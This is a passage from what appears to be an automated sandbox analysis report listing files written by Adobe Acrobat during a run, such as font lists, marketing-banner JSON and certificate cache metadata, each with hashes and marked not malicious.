Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklKCtM/tfllXlE/HT8kpvlZNNX8RolJuRdxLlGB9lQRYwpDdt:kKTCtM/eT8gvpNMa8RdWBwRd
MD5:	235698A64DF51CFB706D0F3E3170B260
SHA1:	672F1D2FAD0B1442076D0421469E956BD1E312FA
SHA-256:	CF0DE2601EC86E90497418137C56B77AFEEE0AB4B9D7D3C8830F31780A63EDA4
SHA-512:	FC7195C04647B5EAC6099F68F2301F1E6A5419B8698A15A0B82318C4FAA5D496C5CF34D622592F5667031064C742AA6CF053DB673CE42565AD5B4034716523A0
Malicious:	false
Preview:	p...... ........9q...c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2368928658074476
Encrypted:	false
SSDEEP:	6:kKrPKl/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:TPKtiDImsLNkPlE99SNxAhUe/3
MD5:	3E6E5FD1FF042A6294DC30340533D472
SHA1:	D4E9FB790BB7D6812898F102F6EB09FCFE8B37B9
SHA-256:	BCDF2B29F01404E91220341B588F6FFFAD587A1706AB845993BC6EB00B71DE8B
SHA-512:	0A93FB43E8C149A5A49EDAF91292407D926512D34C4347D5D115AF43B4D54CB613B8542E5C4512029D30EC85B4046A918401E20395E1117D34148191F635EDFB
Malicious:	false
Preview:	p...... ........AZ9..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4352

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4352

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.341867358007902
Encrypted:	false
SSDEEP:	6:YEQXJ2HX47Iv8pGp2vB3/dVlPIHAR0YPtoAvJM3g98kUwPeUkwRe9:YvXKX8LO2vR/ZwHAWGMbLUkee9
MD5:	C865BDC92EF160D7AFF088648EBA4AD0
SHA1:	A69C769A4C401785F2C4A5957CDECFF4963A5FFE
SHA-256:	0C3B3D7E5B8509E44D5A8D3870C080E0275E18E98AE1CA8103E2C6CDE7AB26F8
SHA-512:	B629A56DDD2F55D98429A4B8528E72C20635B9B1D69C914563B9E8A431BC3ACC9E61625EA7BFF3D7B6CCF036251EFFEE3CB996F0B5C75BA5F16278ECECB6F236
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abca57ed-cc54-49cb-acfb-32359ec02713","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721167973,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.275709284943101
Encrypted:	false
SSDEEP:	6:YEQXJ2HX47Iv8pGp2vB3/dVlPIHAR0YPtoAvJfBoTfXpnrPeUkwRe9:YvXKX8LO2vR/ZwHAWGWTfXcUkee9
MD5:	388D8D2A806CA3EBF7B3836E789A7305
SHA1:	A5326C17948C83A1E843EE6978F88F26BBAD14CE
SHA-256:	BA29A8FF3F262D3EB825F2DFFF53420AD87957EE2DA47AA53862BA378C046DE8
SHA-512:	3C1127072552FE63C5D15A27CBC0EEB6B91198C4C474611D5D115A2DCAF646162EB116FB85228AB863896435DB512A90CEB18A77482B386287B1AE8BD489BB6D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abca57ed-cc54-49cb-acfb-32359ec02713","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721167973,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.252792163162206
Encrypted:	false
SSDEEP:	6:YEQXJ2HX47Iv8pGp2vB3/dVlPIHAR0YPtoAvJfBD2G6UpnrPeUkwRe9:YvXKX8LO2vR/ZwHAWGR22cUkee9
MD5:	2B89A04008879C3E28DD778268454148
SHA1:	A2CBE191457363F7D4A1C5D0FB01BB1D74A70820
SHA-256:	079E90CFA043634C9E50E44F438351D830FDD1C0030EE4F559DCC737E1069997
SHA-512:	FC8CE382C9FEEA7180060205618A0748E8CAEEDC5E65ADD3CE2F689A2727F72DE3B73951D10E5F628A42BA7C7E35114AF71914F7E78A719EF788715403B8ED3A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abca57ed-cc54-49cb-acfb-32359ec02713","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721167973,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.318061657945854
Encrypted:	false
SSDEEP:	6:YEQXJ2HX47Iv8pGp2vB3/dVlPIHAR0YPtoAvJfPmwrPeUkwRe9:YvXKX8LO2vR/ZwHAWGH56Ukee9
MD5:	50FC64C55917907DAE2653D93088A580
SHA1:	11AE19D7C0723B37F54394DC574CB6BBA14396BE
SHA-256:	13935BC7B8014A495A792A5E24AA4E195CE2AD00AE74DF45B36B335B56BC3B8B
SHA-512:	85C39739AFA3964C450AB0F30067CFA22BDF33816BE8C39A9DE9F429B3441AA1F74C614E544B67E99EF9F84E75A00D281329E430017A1B4752AED71E34A369DE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abca57ed-cc54-49cb-acfb-32359ec02713","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721167973,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686464038068643
Encrypted:	false
SSDEEP:	24:Yv6Xu9JhXpLgE9cQx8LennAvzBvkn0RCmK8czOCCSD:Yv9JhXhgy6SAFv5Ah8cv/D
MD5:	170C450783615DCD3FFE56A498BB0D54
SHA1:	E35131AC7BFBB73C2EB79D815E1DC01785A598E7
SHA-256:	5F2D078BBB5FD3497076905E53D02D36BD4C0CA6C63D79CF0CBFCB7AD5B3FE94
SHA-512:	6E378ACD9B2C496C2745562AAC2EAF5A04169B6DFB5435ADBEB4A9D97A51CF427D01CA3DCDBECF0B0B755D213F3FED6B7E28E93F6034C08DA39573DAA6AF9C11
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abca57ed-cc54-49cb-acfb-32359ec02713","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721167973,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2647501757045205
Encrypted:	false
SSDEEP:	6:YEQXJ2HX47Iv8pGp2vB3/dVlPIHAR0YPtoAvJf8dPeUkwRe9:YvXKX8LO2vR/ZwHAWGU8Ukee9
MD5:	9C9E7B7381E6CA1BCF2259552CE29F16
SHA1:	951167AB1729F90A2D7F1A5330D40E11BBB4FECA
SHA-256:	EE100FE6D337D22BFE985BCF19F0BBDB0FDE67E4BD761333657711A2E637E45E
SHA-512:	BC510F40308C0E965CE7F6C29C62F5D9366B008E5784848203CE25BE3B073AB66598EC1B307A36D597207F4D81836AA19CB7DCDB7EC39687E8C720914C5BCD5E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abca57ed-cc54-49cb-acfb-32359ec02713","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721167973,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.263791299075088
Encrypted:	false
SSDEEP:	6:YEQXJ2HX47Iv8pGp2vB3/dVlPIHAR0YPtoAvJfQ1rPeUkwRe9:YvXKX8LO2vR/ZwHAWGY16Ukee9
MD5:	112B463D5DDA42CF281F437A4D410A91
SHA1:	A3A65722123A6FF0D69D3965F9C104411E6CFAB4
SHA-256:	C39AA3DCEFA82320617DE816D0FE0C0EF106D6CA1C671EC30AACB1BAD4FE9F89
SHA-512:	BEB00B3AD20D0A240EAB10465F638662E4D8B6EC7AE8F9849C5A22FF0CE23D2C51C530ACBF597B7631E28F3B0D4C542563D2CE46BFE7E186270C7A88B3A28057
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abca57ed-cc54-49cb-acfb-32359ec02713","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721167973,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.281835112732122
Encrypted:	false
SSDEEP:	6:YEQXJ2HX47Iv8pGp2vB3/dVlPIHAR0YPtoAvJfFldPeUkwRe9:YvXKX8LO2vR/ZwHAWGz8Ukee9
MD5:	2B8E7DD9C1E2C7F5752371321252CF20
SHA1:	42724E582260644EB0E5A02BEE1EAD8A13EE792C
SHA-256:	350415D3AAF97983FD426E31770CE51C2636B193EDDCB3FB60C0A9184B4133CE
SHA-512:	51D399CD089580514C242B24066D4818323559DC3B38E3122F3428ADE1DDDFB371DA7D0795E1DA5093F0938592D1F9D8C8875ADC8956F1ED780092CDBEE2413F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abca57ed-cc54-49cb-acfb-32359ec02713","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721167973,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.294794340885012
Encrypted:	false
SSDEEP:	6:YEQXJ2HX47Iv8pGp2vB3/dVlPIHAR0YPtoAvJfzdPeUkwRe9:YvXKX8LO2vR/ZwHAWGb8Ukee9
MD5:	65A15EF79F098B12546F6A257B8BE935
SHA1:	A50C14BD362B39CF57E477DC1B8E7034B4518D97
SHA-256:	6A06389D0CF1A051DE560B17412F672389B7190309D100C84E68B4A7C08D9950
SHA-512:	4F756D302B5881705CC351F39B05EE3D3AAF87AFDDDC5383BEB7877EA86EA6A2755D507F4F7A2E01361FE4D656563E21F160B47A1699F8DF35FF9FC81B9DEED5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abca57ed-cc54-49cb-acfb-32359ec02713","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721167973,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.275205472324993
Encrypted:	false
SSDEEP:	6:YEQXJ2HX47Iv8pGp2vB3/dVlPIHAR0YPtoAvJfYdPeUkwRe9:YvXKX8LO2vR/ZwHAWGg8Ukee9
MD5:	71BA322721132B6222ED05F66C478B67
SHA1:	2D7CD9F65EA1CCE5E92D6198C432D1EA9FF34068
SHA-256:	070C4D1FA2F6DD865E6B3BC3182B769895C9D7EE59D2ECFD84E340B9F47941A8
SHA-512:	E704EF4F5A5595360902DA9CF3CF766C83062321167B91446DE3FACAAE75C880DA98A991DD0B99FA8EE45C15239A8FA4BD577685151CBAF240256A16617AFA0D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abca57ed-cc54-49cb-acfb-32359ec02713","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721167973,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.261118312700948
Encrypted:	false
SSDEEP:	6:YEQXJ2HX47Iv8pGp2vB3/dVlPIHAR0YPtoAvJf+dPeUkwRe9:YvXKX8LO2vR/ZwHAWG28Ukee9
MD5:	8E8F7FEB84218E4CF19D9C9B41F658A0
SHA1:	3E06B58DC8C87F0AFABD39DE66A0006EFAC9C3AF
SHA-256:	608ABC9CB188524A24186FA2A4AD24BFB1FD431A44AA7146E2C49507456DBDDE
SHA-512:	AAEB0A49863697B832EAB7DE08A87EE1A52FA3A582251F6AA35B6E853D212E0AFDE7D01925EC4B02F8915E1E3E8C6FC42631BDB87A58126D44C67B1B3D7D57B4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abca57ed-cc54-49cb-acfb-32359ec02713","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721167973,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2589229791237715
Encrypted:	false
SSDEEP:	6:YEQXJ2HX47Iv8pGp2vB3/dVlPIHAR0YPtoAvJfbPtdPeUkwRe9:YvXKX8LO2vR/ZwHAWGDV8Ukee9
